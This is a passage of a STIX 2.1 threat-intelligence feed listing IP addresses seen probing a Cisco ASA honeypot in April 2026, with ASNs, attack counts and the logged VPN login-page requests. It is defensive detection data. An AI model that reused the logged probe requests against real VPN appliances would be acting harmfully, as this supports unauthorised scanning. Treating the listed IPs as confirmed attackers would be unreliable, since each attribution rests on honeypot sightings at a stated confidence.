      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T11:55:36.192Z",
          "last_seen": "2026-04-19T10:00:42.187Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--54cda7a7-a186-46f4-8025-abd7e9de4fbb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T11:53:29.394Z",
          "last_seen": "2026-04-30T02:59:43.094Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4a72e14b-92e6-4876-8f7f-faf2e2498de7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T11:22:43.021Z",
          "last_seen": "2026-04-29T06:08:46.536Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8d48377c-c5c3-4f08-beb0-f31e4fc901cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 65,
          "first_seen": "2026-04-08T11:21:14.423Z",
          "last_seen": "2026-04-26T02:46:30.923Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7fdfe862-9d0b-4493-b950-4edba6d40019",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-08T11:51:51.149Z",
          "last_seen": "2026-04-29T02:09:32.512Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e296585b-b084-4825-8f2c-18b35a8615db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:20:31.000Z",
      "valid_until": "2026-05-10T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T11:37:49.650Z",
          "last_seen": "2026-04-29T16:26:02.381Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--028e1998-0612-4eab-bf71-9363f4749ce9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T12:59:26.902Z",
          "last_seen": "2026-04-08T12:59:35.093Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6bc655d3-ff85-415e-b1e1-bd6c369bca42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T12:35:53.316Z",
          "last_seen": "2026-04-26T10:49:01.322Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--92f34986-c68d-47dc-85e2-041bbd70827d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T12:28:35.731Z",
          "last_seen": "2026-04-21T11:39:43.417Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--1ecde80c-b789-46a0-a371-314cedc5a420",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T13:15:54.808Z",
          "last_seen": "2026-04-25T06:12:29.462Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6d975f73-0ec8-4c1a-b5b9-c16f9b96d6dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T12:34:26.456Z",
          "last_seen": "2026-04-22T09:43:19.536Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d3b07ad-8c4f-42e0-892f-ba885891e1df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T12:42:53.226Z",
          "last_seen": "2026-04-24T22:06:16.391Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--377aa987-4c1b-4768-b8e8-2cc73bf987ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T12:46:11.828Z",
          "last_seen": "2026-04-11T04:04:09.123Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e9670968-0b00-4615-a667-37a7d3a0632c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T12:21:20.515Z",
          "last_seen": "2026-04-29T13:21:22.595Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--abb1998c-dbc2-43f6-9cdd-916fcfb55393",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T12:54:04.899Z",
          "last_seen": "2026-04-26T04:30:56.183Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--47750d9b-fe97-42cd-be44-84fa3172c8ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T12:37:13.277Z",
          "last_seen": "2026-04-10T16:26:47.983Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--7e1e1fa9-9c92-4f2d-b620-f2b609bef264",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T12:52:59.396Z",
          "last_seen": "2026-04-29T09:39:00.280Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b3649afe-716b-46d1-868a-b413480ca42d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-08T13:12:59.054Z",
          "last_seen": "2026-04-28T04:59:34.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--742529b8-37d3-48d4-bb19-e0ac702bf207",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T12:26:50.457Z",
          "last_seen": "2026-04-30T02:27:12.290Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--7fb22115-da8c-438e-8080-a0c123a44a30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:20:11.000Z",
      "valid_until": "2026-05-10T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T13:03:55.859Z",
          "last_seen": "2026-04-28T06:31:39.038Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8365820d-c3e5-4fb4-904f-d5ea4d4a6f4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
